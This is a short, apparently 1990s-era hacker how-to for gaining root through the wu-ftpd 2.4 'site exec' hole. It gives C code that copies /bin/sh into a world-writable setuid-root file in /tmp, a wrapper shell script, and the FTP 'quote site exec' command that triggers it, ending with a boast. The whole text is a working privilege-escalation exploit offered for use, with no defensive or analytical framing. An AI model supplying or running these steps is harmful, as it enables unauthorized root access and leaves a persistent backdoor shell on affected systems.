This shows you how to use the wuftp2.4(1) hole to gain root.

On the VICTIM system, compile the following C code:           
######## CUT HERE #######
main()
{
setuid(0);
seteuid(0);

system("cp /bin/sh /tmp/suidroot");
system("chmod a+rwxs /tmp/suidroot");
}
####### CUT HERE #######

Now create a shell script, called root.sh, that contains the following:

####### CUT HERE #######
exec a.out      <----- a.out is the name of the compiled C code
####### CUT HERE #######

Now, FTP localhost, login as your account on that system and:

ftp> quote site exec sh root.sh

Quit FTP and execute /tmp/suidroot to become root!#@!# Wewp.
